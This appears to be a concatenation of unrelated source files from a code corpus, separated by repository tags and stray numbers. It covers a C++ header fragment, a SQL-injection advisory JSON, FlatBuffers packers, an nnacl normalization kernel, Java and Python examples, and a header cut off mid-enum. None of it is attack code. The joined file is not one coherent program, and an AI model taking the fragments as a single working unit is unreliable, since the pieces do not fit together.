class LocalizationEvaluator {
public:
LocalizationEvaluator(
const vi_map::LandmarkIdSet& selected_landmarks, vi_map::VIMap* map)
: map_(CHECK_NOTNULL(map)) {
// Add selected landmarks to the loop detector database.
loop_detector_node_.addLandmarkSetToDatabase(selected_landmarks, *map);
}
bool evaluateSingleKeyframe(
const pose_graph::VertexId& vertex_id, Eigen::Vector3d* p_G_I,
unsigned int* lc_matches_count, unsigned int* inliers_count,
double* error_meters, bool* ransac_ok);
void evaluateMission(
const vi_map::MissionId& mission_id, MissionEvaluationStats* statistics);
private:
vi_map::VIMap* map_;
loop_detector_node::LoopDetectorNode loop_detector_node_;
// TODO(dymczykm) Fix for visual n frame needed here.
static constexpr unsigned int kFrameIndex = 0;
};
} // namespace localization_evaluator
#endif // LOCALIZATION_EVALUATOR_LOCALIZATION_EVALUATOR_H_
| 620 |
892 | <gh_stars>100-1000
{
"schema_version": "1.2.0",
"id": "GHSA-jrc6-w967-jvc8",
"modified": "2022-01-29T00:00:56Z",
"published": "2022-01-25T00:00:43Z",
"aliases": [
"CVE-2021-46451"
],
"details": "An SQL Injection vulnerabilty exists in Sourcecodester Online Project Time Management System 1.0 via the pid parameter in the load_file function.",
"severity": [
],
"affected": [
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46451"
},
{
"type": "WEB",
"url": "https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Project-Time-Management"
}
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"severity": "CRITICAL",
"github_reviewed": false
}
} | 375 |
307 | # Copyright 2016 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Provide pre-compiled struct packers for encoding and decoding.
See: https://docs.python.org/2/library/struct.html#format-characters
"""
import struct
from . import compat
boolean = struct.Struct(compat.struct_bool_decl)
uint8 = struct.Struct("<B")
uint16 = struct.Struct("<H")
uint32 = struct.Struct("<I")
uint64 = struct.Struct("<Q")
int8 = struct.Struct("<b")
int16 = struct.Struct("<h")
int32 = struct.Struct("<i")
int64 = struct.Struct("<q")
float32 = struct.Struct("<f")
float64 = struct.Struct("<d")
uoffset = uint32
soffset = int32
voffset = uint16
| 400 |
4,071 | <filename>blaze/blaze/test/utest_data/model_importer/ulf/gauss_cnxh_din_v2/run_model.py
from pyblaze.predictor import PredictorManger
from pyblaze.predictor import Predictor
import numpy as np
batch_size = 1
comm_shape = [1, 306]
ncomm_shape = [batch_size, 732]
att_comm_shape = [1, 1800 * 18]
np.random.seed(0)
comm = 0.01 * np.random.random_sample(comm_shape).astype(np.float32)
ncomm = 0.01 * np.random.random_sample(ncomm_shape).astype(np.float32)
att_comm = 0.01 * np.random.random_sample(att_comm_shape).astype(np.float32)
def read_tensor(filename, np_array):
with open(filename) as f:
content = f.readline()
values = content.split(',')
for k in xrange(len(values) - 1):
np_array[0][k] = float(values[k])
print 'size=', len(values)
read_tensor('./comm.txt', comm)
read_tensor('./ncomm.txt', ncomm)
read_tensor('./att_comm.txt', att_comm)
conf_file = './net-parameter-conf'
param_file = './dnn-model-dat'
def predict_model(optimization_pass, device_type, device_id):
pm = PredictorManger()
pm.load_deepnet_model(conf_file, param_file, optimization_pass)
predictor = pm.create_predictor(device_type, device_id)
print predictor.list_input_names()
print predictor.list_internal_names()
predictor.register_observers(['cost'])
predictor.reshape_input('comm', comm_shape)
predictor.reshape_input('ncomm', ncomm_shape)
predictor.reshape_input('att_comm', att_comm_shape)
predictor.feed('comm', comm)
predictor.feed('ncomm', ncomm)
predictor.feed('att_comm', att_comm)
predictor.forward()
print predictor.output_asnumpy('output')
predictor.forward()
print predictor.output_asnumpy('output')
return predictor.output_asnumpy('output')
### CPU No-OptPass
res0 = predict_model(0, 0, 0)
#print res0
### GPU No-OptPass
res1 = predict_model(1, 1, 0)
#print res1
res1 = predict_model(1, 1, 0)
print res1
| 771 |
782 | /*
* Copyright (c) 2021, <NAME>. All Rights Reserved.
*
* This file is part of BoofCV (http://boofcv.org).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package boofcv.examples.imageprocessing;
import boofcv.alg.distort.motion.MotionBlurOps;
import boofcv.alg.filter.convolve.GConvolveImageOps;
import boofcv.gui.ListDisplayPanel;
import boofcv.gui.image.ShowImages;
import boofcv.io.UtilIO;
import boofcv.io.image.ConvertBufferedImage;
import boofcv.io.image.UtilImageIO;
import boofcv.struct.border.BorderType;
import boofcv.struct.convolve.Kernel2D_F32;
import boofcv.struct.image.GrayF32;
import boofcv.struct.image.ImageType;
import georegression.metric.UtilAngle;
import java.awt.image.BufferedImage;
/**
* Shows you how to simulate motion blur in an image and what the results look like.
*
* @author <NAME>
*/
public class ExampleSimulateMotionBlur {
public static void main( String[] args ) {
// Load a chessboard image since it's easy to see blur with it
GrayF32 image = UtilImageIO.loadImage(UtilIO.fileExample("calibration/mono/Sony_DSC-HX5V_Chess/frame03.jpg"), true, ImageType.SB_F32);
GrayF32 blurred = image.createSameShape();
var panel = new ListDisplayPanel();
for (int degrees : new int[]{0, 25, -75}) {
double radians = UtilAngle.degreeToRadian(degrees);
for (double lengthOfMotion : new double[]{5, 15, 30}) {
// Create the PSF (i.e. Kernel) that models motion blur with constant velocity
// radians is the motion blur's direction
Kernel2D_F32 kernel = MotionBlurOps.linearMotionPsf(lengthOfMotion, radians);
GConvolveImageOps.convolve(kernel, image, blurred, BorderType.EXTENDED);
// Visualize results
BufferedImage visualized = ConvertBufferedImage.convertTo(blurred, null);
panel.addImage(visualized, String.format("linear: angle=%d motion=%.0f", degrees, lengthOfMotion));
}
}
ShowImages.showWindow(panel, "Simulated Motion Blur", true);
}
}
| 805 |
2,392 | // This file is part of libigl, a simple c++ geometry processing library.
//
// Copyright (C) 2013 <NAME> <<EMAIL>>
//
// This Source Code Form is subject to the terms of the Mozilla Public License
// v. 2.0. If a copy of the MPL was not distributed with this file, You can
// obtain one at http://mozilla.org/MPL/2.0/.
#include "mosek_guarded.h"
#include <iostream>
IGL_INLINE MSKrescodee igl::mosek::mosek_guarded(const MSKrescodee r)
{
using namespace std;
if(r != MSK_RES_OK)
{
/* In case of an error print error code and description. */
char symname[MSK_MAX_STR_LEN];
char desc[MSK_MAX_STR_LEN];
MSK_getcodedesc(r,symname,desc);
cerr<<"MOSEK ERROR ("<<r<<"): "<<symname<<" - '"<<desc<<"'"<<endl;
}
return r;
}
| 300 |
1,338 | /*
* Copyright 2010-2011, <NAME>, <EMAIL>.
* Distributed under the terms of the MIT License.
*/
#include <TestSuite.h>
#include <TestSuiteAddon.h>
#include "NetworkAddressTest.h"
#include "NetworkInterfaceTest.h"
#include "NetworkUrlTest.h"
BTestSuite*
getTestSuite()
{
BTestSuite* suite = new BTestSuite("NetAPI");
NetworkAddressTest::AddTests(*suite);
NetworkInterfaceTest::AddTests(*suite);
NetworkUrlTest::AddTests(*suite);
return suite;
}
| 163 |
10,225 | <gh_stars>1000+
package io.quarkus.vault.runtime.client.dto.totp;
import io.quarkus.vault.runtime.client.dto.VaultModel;
public class VaultTOTPCreateKeyResult implements VaultModel {
public VaultTOTPCreateKeyData data;
}
| 87 |
432 | <filename>src/us/parr/bookish/model/UnOrderedList.java
package us.parr.bookish.model;
import java.util.List;
public class UnOrderedList extends OrderedList {
public UnOrderedList(List<ListItem> items) {
super(items);
}
}
| 84 |
3,200 | /**
* Copyright 2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "nnacl/fp32/instance_norm_fp32.h"
#include <math.h>
#include "nnacl/errorcode.h"
#include "nnacl/op_base.h"
#include "nnacl/intrinsics/ms_simd_instructions.h"
int InstanceNorm(const float *src_data, float *dst_data, const float *gamma_data, const float *beta_data,
const InstanceNormParameter *param, size_t task_id) {
NNACL_CHECK_NULL_RETURN_ERR(src_data);
NNACL_CHECK_NULL_RETURN_ERR(dst_data);
NNACL_CHECK_ZERO_RETURN_ERR(param->op_parameter_.thread_num_);
int channel_step = UP_DIV(param->channel_, param->op_parameter_.thread_num_);
int channel_begin = (int)(task_id)*channel_step;
int channel_end = MSMIN(channel_begin + channel_step, param->channel_);
for (int b = 0; b < param->batch_; b++) {
const float *src_b = src_data + b * param->channel_ * param->inner_size_;
float *dst_b = dst_data + b * param->channel_ * param->inner_size_;
for (int c = channel_begin; c < channel_end; c++) {
const float *src = src_b + c * param->inner_size_;
float *dst = dst_b + c * param->inner_size_;
double mean = 0.0f;
double squ_m = 0.0f;
int index = 0;
#if defined(ENABLE_AVX)
for (; index <= param->inner_size_ - C8NUM; index += C8NUM) {
__m256 srcv = _mm256_loadu_ps(src + index);
__m256 squarev = _mm256_mul_ps(srcv, srcv);
__m128 src128 = _mm_add_ps(_mm256_extractf128_ps(srcv, 0), _mm256_extractf128_ps(srcv, 1));
__m128 square128 = _mm_add_ps(_mm256_extractf128_ps(squarev, 0), _mm256_extractf128_ps(squarev, 1));
for (int i = 0; i < C4NUM; ++i) {
mean += MS_F32X4_GETI(src128, i);
squ_m += MS_F32X4_GETI(square128, i);
}
}
#endif
#if defined(ENABLE_NEON) || defined(ENABLE_SSE)
for (; index <= param->inner_size_ - C4NUM; index += C4NUM) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index);
MS_FLOAT32X4 squarev = MS_MULQ_F32(srcv, srcv);
#ifdef ENABLE_ARM64
mean += vaddvq_f32(srcv);
squ_m += vaddvq_f32(squarev);
#elif defined(ENABLE_SSE)
for (int i = 0; i < C4NUM; ++i) {
mean += MS_F32X4_GETI(srcv, i);
squ_m += MS_F32X4_GETI(squarev, i);
}
#else
float32x2_t src_add2 = vadd_f32(vget_low_f32(srcv), vget_high_f32(srcv));
float32x2_t src_add4 = vpadd_f32(src_add2, src_add2);
mean += vget_lane_f32(src_add4, 0);
float32x2_t square_add2 = vadd_f32(vget_low_f32(squarev), vget_high_f32(squarev));
float32x2_t square_add4 = vpadd_f32(square_add2, square_add2);
squ_m += vget_lane_f32(square_add4, 0);
#endif
}
#endif
for (; index < param->inner_size_; index++) {
mean += src[index];
squ_m += src[index] * src[index];
}
mean /= (float)param->inner_size_;
squ_m /= (float)param->inner_size_;
const double deno = gamma_data[c] / sqrt(squ_m - mean * mean + param->epsilon_);
index = 0;
#if defined(ENABLE_AVX)
MS_FLOAT32X8 meanv8 = MS_MOV256_F32(mean);
MS_FLOAT32X8 denov8 = MS_MOV256_F32(deno);
for (; index <= param->inner_size_ - C8NUM; index += C8NUM) {
MS_FLOAT32X8 srcv8 = MS_LD256_F32(src + index);
MS_FLOAT32X8 dstv8 =
MS_ADD256_F32(MS_MUL256_F32(MS_SUB256_F32(srcv8, meanv8), denov8), MS_MOV256_F32(*(beta_data + c)));
MS_ST256_F32(dst + index, dstv8);
}
#endif
#if defined(ENABLE_NEON) || defined(ENABLE_SSE)
MS_FLOAT32X4 meanv4 = MS_MOVQ_F32(mean);
MS_FLOAT32X4 denov4 = MS_MOVQ_F32(deno);
for (; index <= param->inner_size_ - C4NUM; index += C4NUM) {
MS_FLOAT32X4 srcv4 = MS_LDQ_F32(src + index);
MS_FLOAT32X4 dstv4 =
MS_ADDQ_F32(MS_MULQ_F32(MS_SUBQ_F32(srcv4, meanv4), denov4), MS_MOVQ_F32(*(beta_data + c)));
MS_STQ_F32(dst + index, dstv4);
}
#endif
for (; index < param->inner_size_; index++) {
dst[index] = (src[index] - mean) * deno + beta_data[c];
}
}
}
return NNACL_OK;
}
#if defined(ENABLE_SSE) || defined(ENABLE_ARM)
void InstanceNormC4HW4ArmSse(const float *src_b, float *dst_b, const float *gamma_data, const float *beta_data,
int *c_src, const InstanceNormParameter *param, int channel, int channel_end, int hw_plane,
MS_FLOAT32X4 hw_planev) {
int c = *c_src;
for (; c <= channel_end - C16NUM; c += C16NUM) {
const float *src = src_b + c * hw_plane, *src1 = src_b + (c + C4NUM) * hw_plane;
const float *src2 = src_b + (c + C8NUM) * hw_plane, *src3 = src_b + (c + C12NUM) * hw_plane;
float *dst = dst_b + c;
MS_FLOAT32X4 mean = MS_MOVQ_F32(0.0f), mean1 = MS_MOVQ_F32(0.0f);
MS_FLOAT32X4 mean2 = MS_MOVQ_F32(0.0f), mean3 = MS_MOVQ_F32(0.0f);
MS_FLOAT32X4 squ_m = MS_MOVQ_F32(0.0f), squ_m1 = MS_MOVQ_F32(0.0f);
MS_FLOAT32X4 squ_m2 = MS_MOVQ_F32(0.0f), squ_m3 = MS_MOVQ_F32(0.0f);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), srcv1 = MS_LDQ_F32(src1 + index * C4NUM);
MS_FLOAT32X4 srcv2 = MS_LDQ_F32(src2 + index * C4NUM), srcv3 = MS_LDQ_F32(src3 + index * C4NUM);
MS_FLOAT32X4 squarev = MS_MULQ_F32(srcv, srcv), squarev1 = MS_MULQ_F32(srcv1, srcv1);
MS_FLOAT32X4 squarev2 = MS_MULQ_F32(srcv2, srcv2), squarev3 = MS_MULQ_F32(srcv3, srcv3);
MS_ADDQ_F32_VEC(mean, mean1, mean2, mean3, srcv, srcv1, srcv2, srcv3);
MS_ADDQ_F32_VEC(squ_m, squ_m1, squ_m2, squ_m3, squarev, squarev1, squarev2, squarev3);
}
MS_DIVQ_F32_VEC(mean, mean1, mean2, mean3, hw_planev);
MS_DIVQ_F32_VEC(squ_m, squ_m1, squ_m2, squ_m3, hw_planev);
MS_FLOAT32X4 deno = MS_ADDQ_F32(MS_SUBQ_F32(squ_m, MS_MULQ_F32(mean, mean)), MS_MOVQ_F32(param->epsilon_));
MS_FLOAT32X4 deno1 = MS_ADDQ_F32(MS_SUBQ_F32(squ_m1, MS_MULQ_F32(mean1, mean1)), MS_MOVQ_F32(param->epsilon_));
MS_FLOAT32X4 deno2 = MS_ADDQ_F32(MS_SUBQ_F32(squ_m2, MS_MULQ_F32(mean2, mean2)), MS_MOVQ_F32(param->epsilon_));
MS_FLOAT32X4 deno3 = MS_ADDQ_F32(MS_SUBQ_F32(squ_m3, MS_MULQ_F32(mean3, mean3)), MS_MOVQ_F32(param->epsilon_));
deno = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno));
deno1 = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno1));
deno2 = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno2));
deno3 = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno3));
MS_FLOAT32X4 gammav = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c), deno); // deno * gamma_data[c]
MS_FLOAT32X4 gammav1 = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c + C4NUM), deno1); // deno * gamma_data[c]
MS_FLOAT32X4 gammav2 = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c + C8NUM), deno2); // deno * gamma_data[c]
MS_FLOAT32X4 gammav3 = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c + C12NUM), deno3); // deno * gamma_data[c]
MS_FLOAT32X4 betav = MS_LDQ_F32(beta_data + c), betav1 = MS_LDQ_F32(beta_data + c + C4NUM);
MS_FLOAT32X4 betav2 = MS_LDQ_F32(beta_data + c + C8NUM), betav3 = MS_LDQ_F32(beta_data + c + C12NUM);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), srcv1 = MS_LDQ_F32(src1 + index * C4NUM);
MS_FLOAT32X4 srcv2 = MS_LDQ_F32(src2 + index * C4NUM), srcv3 = MS_LDQ_F32(src3 + index * C4NUM);
MS_FLOAT32X4 outv = MS_SUBQ_F32(srcv, mean), outv1 = MS_SUBQ_F32(srcv1, mean1);
MS_FLOAT32X4 outv2 = MS_SUBQ_F32(srcv2, mean2), outv3 = MS_SUBQ_F32(srcv3, mean3);
outv = MS_MULQ_F32(outv, gammav), outv1 = MS_MULQ_F32(outv1, gammav1);
outv2 = MS_MULQ_F32(outv2, gammav2), outv3 = MS_MULQ_F32(outv3, gammav3);
MS_ADDQ_F32_VEC(outv, outv1, outv2, outv3, betav, betav1, betav2, betav3);
MS_STQ_F32(dst + index * channel, outv), MS_STQ_F32(dst + index * channel + C4NUM, outv1);
MS_STQ_F32(dst + index * channel + C8NUM, outv2), MS_STQ_F32(dst + index * channel + C12NUM, outv3);
}
}
for (; c <= channel_end - C8NUM; c += C8NUM) {
const float *src = src_b + c * hw_plane, *src1 = src_b + (c + C4NUM) * hw_plane;
float *dst = dst_b + c;
MS_FLOAT32X4 mean = MS_MOVQ_F32(0.0f), mean1 = MS_MOVQ_F32(0.0f);
MS_FLOAT32X4 squ_m = MS_MOVQ_F32(0.0f), squ_m1 = MS_MOVQ_F32(0.0f);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), srcv1 = MS_LDQ_F32(src1 + index * C4NUM);
MS_FLOAT32X4 squarev = MS_MULQ_F32(srcv, srcv), squarev1 = MS_MULQ_F32(srcv1, srcv1);
mean = MS_ADDQ_F32(mean, srcv), mean1 = MS_ADDQ_F32(mean1, srcv1);
squ_m = MS_ADDQ_F32(squ_m, squarev), squ_m1 = MS_ADDQ_F32(squ_m1, squarev1);
}
MS_DIVQ_F32_VEC(mean, mean1, squ_m, squ_m1, hw_planev);
MS_FLOAT32X4 deno = MS_ADDQ_F32(MS_SUBQ_F32(squ_m, MS_MULQ_F32(mean, mean)), MS_MOVQ_F32(param->epsilon_));
MS_FLOAT32X4 deno1 = MS_ADDQ_F32(MS_SUBQ_F32(squ_m1, MS_MULQ_F32(mean1, mean1)), MS_MOVQ_F32(param->epsilon_));
deno = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno));
deno1 = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno1));
MS_FLOAT32X4 gammav = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c), deno); // deno * gamma_data[c]
MS_FLOAT32X4 gammav1 = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c + C4NUM), deno1); // deno * gamma_data[c]
MS_FLOAT32X4 betav = MS_LDQ_F32(beta_data + c), betav1 = MS_LDQ_F32(beta_data + c + C4NUM);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), srcv1 = MS_LDQ_F32(src1 + index * C4NUM);
MS_FLOAT32X4 outv = MS_SUBQ_F32(srcv, mean), outv1 = MS_SUBQ_F32(srcv1, mean1);
outv = MS_MULQ_F32(outv, gammav), outv1 = MS_MULQ_F32(outv1, gammav1);
outv = MS_ADDQ_F32(outv, betav), outv1 = MS_ADDQ_F32(outv1, betav1);
MS_STQ_F32(dst + index * channel, outv);
MS_STQ_F32(dst + index * channel + C4NUM, outv1);
}
}
for (; c <= channel_end - C4NUM; c += C4NUM) {
const float *src = src_b + c * hw_plane;
float *dst = dst_b + c;
MS_FLOAT32X4 mean = MS_MOVQ_F32(0.0f), squ_m = MS_MOVQ_F32(0.0f);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), squarev = MS_MULQ_F32(srcv, srcv);
mean = MS_ADDQ_F32(mean, srcv), squ_m = MS_ADDQ_F32(squ_m, squarev);
}
mean = MS_DIVQ_F32(mean, hw_planev), squ_m = MS_DIVQ_F32(squ_m, hw_planev);
MS_FLOAT32X4 deno = MS_ADDQ_F32(MS_SUBQ_F32(squ_m, MS_MULQ_F32(mean, mean)), MS_MOVQ_F32(param->epsilon_));
deno = MS_DIVQ_F32(MS_MOVQ_F32(1.0f), MS_SQRTFX4_F32(deno));
MS_FLOAT32X4 gammav = MS_MULQ_F32(MS_LDQ_F32(gamma_data + c), deno), betav = MS_LDQ_F32(beta_data + c);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X4 srcv = MS_LDQ_F32(src + index * C4NUM), outv = MS_SUBQ_F32(srcv, mean);
MS_STQ_F32(dst + index * channel, MS_ADDQ_F32(MS_MULQ_F32(outv, gammav), betav));
}
}
*c_src = c;
}
#endif
int InstanceNormNC4HW4(const float *src_data, float *dst_data, const float *gamma_data, const float *beta_data,
const InstanceNormParameter *param, size_t task_id) {
NNACL_CHECK_NULL_RETURN_ERR(src_data);
NNACL_CHECK_NULL_RETURN_ERR(dst_data);
NNACL_CHECK_ZERO_RETURN_ERR(param->op_parameter_.thread_num_);
int channel = param->channel_;
int hw_plane = param->inner_size_;
int channel_step = UP_DIV(UP_DIV(channel, C4NUM), param->op_parameter_.thread_num_) * C4NUM;
int channel_begin = (int)(task_id)*channel_step;
int channel_end = MSMIN(channel_begin + channel_step, channel);
#if defined(ENABLE_SSE) || defined(ENABLE_ARM)
MS_FLOAT32X4 hw_planev = MS_MOVQ_F32((float)(hw_plane));
#endif
for (int b = 0; b < param->batch_; b++) {
const float *src_b = src_data + b * channel * hw_plane;
float *dst_b = dst_data + b * channel * hw_plane;
int c = channel_begin;
#if defined(ENABLE_ARM) || defined(ENABLE_SSE)
InstanceNormC4HW4ArmSse(src_b, dst_b, gamma_data, beta_data, &c, param, channel, channel_end, hw_plane, hw_planev);
#endif
for (; c < channel_end; ++c) {
int c4_down_loop = c / C4NUM * C4NUM;
int c4_mod = c % C4NUM;
int c_res = MSMIN(channel_end - c4_down_loop, C4NUM);
const float *src = src_b + c4_down_loop * hw_plane + c4_mod;
float *dst = dst_b + c;
float mean = 0.0f;
float squ_m = 0.0f;
for (int index = 0; index < hw_plane; ++index) {
float tmp = src[index * c_res];
mean += tmp;
squ_m += tmp * tmp;
}
mean /= (float)hw_plane;
squ_m /= (float)hw_plane;
const float deno = gamma_data[c] / sqrtf(squ_m - mean * mean + param->epsilon_);
for (int index = 0; index < hw_plane; ++index) {
dst[index * channel] = (src[index * c_res] - mean) * deno + beta_data[c];
}
}
}
return NNACL_OK;
}
#ifdef ENABLE_AVX
int InstanceNormNC8HW8(const float *src_data, float *dst_data, const float *gamma_data, const float *beta_data,
const InstanceNormParameter *param, size_t task_id) {
NNACL_CHECK_NULL_RETURN_ERR(src_data);
NNACL_CHECK_NULL_RETURN_ERR(dst_data);
NNACL_CHECK_ZERO_RETURN_ERR(param->op_parameter_.thread_num_);
int channel = param->channel_, hw_plane = param->inner_size_;
int channel_step = UP_DIV(UP_DIV(channel, C8NUM), param->op_parameter_.thread_num_) * C8NUM;
int channel_begin = (int)(task_id)*channel_step;
int channel_end = MSMIN(channel_begin + channel_step, channel);
MS_FLOAT32X8 hw_planev = MS_MOV256_F32((float)(hw_plane));
for (int b = 0; b < param->batch_; b++) {
const float *src_b = src_data + b * channel * hw_plane;
float *dst_b = dst_data + b * channel * hw_plane;
int c = channel_begin;
for (; c <= channel_end - C16NUM; c += C16NUM) {
const float *src = src_b + c * hw_plane;
const float *src1 = src_b + (c + C8NUM) * hw_plane;
float *dst = dst_b + c;
MS_FLOAT32X8 mean = MS_MOV256_F32(0.0f), mean1 = MS_MOV256_F32(0.0f);
MS_FLOAT32X8 squ_m = MS_MOV256_F32(0.0f), squ_m1 = MS_MOV256_F32(0.0f);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X8 srcv = MS_LD256_F32(src + index * C8NUM), srcv1 = MS_LD256_F32(src1 + index * C8NUM);
MS_FLOAT32X8 squarev = MS_MUL256_F32(srcv, srcv), squarev1 = MS_MUL256_F32(srcv1, srcv1);
mean = MS_ADD256_F32(mean, srcv);
mean1 = MS_ADD256_F32(mean1, srcv1);
squ_m = MS_ADD256_F32(squ_m, squarev);
squ_m1 = MS_ADD256_F32(squ_m1, squarev1);
}
mean = MS_DIV256_F32(mean, hw_planev);
mean1 = MS_DIV256_F32(mean1, hw_planev);
squ_m = MS_DIV256_F32(squ_m, hw_planev);
squ_m1 = MS_DIV256_F32(squ_m1, hw_planev);
MS_FLOAT32X8 deno =
MS_ADD256_F32(MS_SUB256_F32(squ_m, MS_MUL256_F32(mean, mean)), MS_MOV256_F32(param->epsilon_));
MS_FLOAT32X8 deno1 =
MS_ADD256_F32(MS_SUB256_F32(squ_m1, MS_MUL256_F32(mean1, mean1)), MS_MOV256_F32(param->epsilon_));
deno = MS_DIV256_F32(MS_MOV256_F32(1.0f), MS_SQRTFX8_F32(deno));
deno1 = MS_DIV256_F32(MS_MOV256_F32(1.0f), MS_SQRTFX8_F32(deno1));
MS_FLOAT32X8 gammav = MS_MUL256_F32(MS_LD256_F32(gamma_data + c), deno); // deno * gamma_data[c]
MS_FLOAT32X8 gammav1 = MS_MUL256_F32(MS_LD256_F32(gamma_data + c + C8NUM), deno1); // deno1 * gamma_data[c]
MS_FLOAT32X8 betav = MS_LD256_F32(beta_data + c), betav1 = MS_LD256_F32(beta_data + c + C8NUM);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X8 srcv = MS_LD256_F32(src + index * C8NUM), srcv1 = MS_LD256_F32(src1 + index * C8NUM);
MS_FLOAT32X8 outv = MS_SUB256_F32(srcv, mean), outv1 = MS_SUB256_F32(srcv1, mean1);
outv = MS_MUL256_F32(outv, gammav);
outv1 = MS_MUL256_F32(outv1, gammav1);
outv = MS_ADD256_F32(outv, betav);
outv1 = MS_ADD256_F32(outv1, betav1);
MS_ST256_F32(dst + index * channel, outv);
MS_ST256_F32(dst + index * channel + C8NUM, outv1);
}
}
for (; c <= channel_end - C8NUM; c += C8NUM) {
const float *src = src_b + c * hw_plane;
float *dst = dst_b + c;
MS_FLOAT32X8 mean = MS_MOV256_F32(0.0f), squ_m = MS_MOV256_F32(0.0f);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X8 srcv = MS_LD256_F32(src + index * C8NUM);
MS_FLOAT32X8 squarev = MS_MUL256_F32(srcv, srcv);
mean = MS_ADD256_F32(mean, srcv);
squ_m = MS_ADD256_F32(squ_m, squarev);
}
mean = MS_DIV256_F32(mean, hw_planev);
squ_m = MS_DIV256_F32(squ_m, hw_planev);
MS_FLOAT32X8 deno = MS_ADD256_F32(MS_SUB256_F32(squ_m, MS_MUL256_F32(mean, mean)),
MS_MOV256_F32(param->epsilon_)); // 256uestion
deno = MS_DIV256_F32(MS_MOV256_F32(1.0f), MS_SQRTFX8_F32(deno));
MS_FLOAT32X8 gammav = MS_MUL256_F32(MS_LD256_F32(gamma_data + c), deno); // deno * gamma_data[c]
MS_FLOAT32X8 betav = MS_LD256_F32(beta_data + c);
for (int index = 0; index < hw_plane; ++index) {
MS_FLOAT32X8 srcv = MS_LD256_F32(src + index * C8NUM), outv = MS_SUB256_F32(srcv, mean);
outv = MS_MUL256_F32(outv, gammav);
outv = MS_ADD256_F32(outv, betav);
MS_ST256_F32(dst + index * channel, outv);
}
}
for (; c < channel_end; ++c) {
int c8_down_loop = c / C8NUM * C8NUM, c8_mod = c % C8NUM;
int c_res = MSMIN(channel_end - c8_down_loop, C8NUM);
const float *src = src_b + c8_down_loop * hw_plane + c8_mod;
float *dst = dst_b + c;
float mean = 0.0f, squ_m = 0.0f;
for (int index = 0; index < hw_plane; ++index) {
float tmp = src[index * c_res];
mean += tmp;
squ_m += tmp * tmp;
}
mean /= (float)hw_plane;
squ_m /= (float)hw_plane;
const float deno = gamma_data[c] / sqrtf(squ_m - mean * mean + param->epsilon_);
for (int index = 0; index < hw_plane; ++index) {
dst[index * channel] = (src[index * c_res] - mean) * deno + beta_data[c];
}
}
}
return NNACL_OK;
}
#endif
| 9,689 |
3,010 | <reponame>learnforpractice/micropython-cpp<filename>tests/basics/module2.py
# uPy behaviour only: builtin modules are read-only
import sys
try:
sys.x = 1
except AttributeError:
print("AttributeError")
| 71 |
10,225 | <reponame>PieterjanDeconinck/quarkus
package io.quarkus.resteasy.test;
import static io.restassured.RestAssured.when;
import javax.ws.rs.core.HttpHeaders;
import org.jboss.shrinkwrap.api.ShrinkWrap;
import org.jboss.shrinkwrap.api.spec.JavaArchive;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.RegisterExtension;
import io.quarkus.test.QuarkusUnitTest;
public class CacheControlFeatureTest {
@RegisterExtension
static QuarkusUnitTest test = new QuarkusUnitTest()
.setArchiveProducer(() -> ShrinkWrap.create(JavaArchive.class)
.addClasses(CacheResource.class));
@Test
public void testNoCacheAnnotation() {
when().get("/nocache").then().header(HttpHeaders.CACHE_CONTROL, "no-cache=\"foo\"");
}
@Test
public void testCacheAnnotation() {
when().get("/cache").then().header(HttpHeaders.CACHE_CONTROL, "max-age=123");
}
}
| 383 |
9,700 | #ifndef AUTHFILE_H
#define AUTHFILE_H
enum authfile_ret {
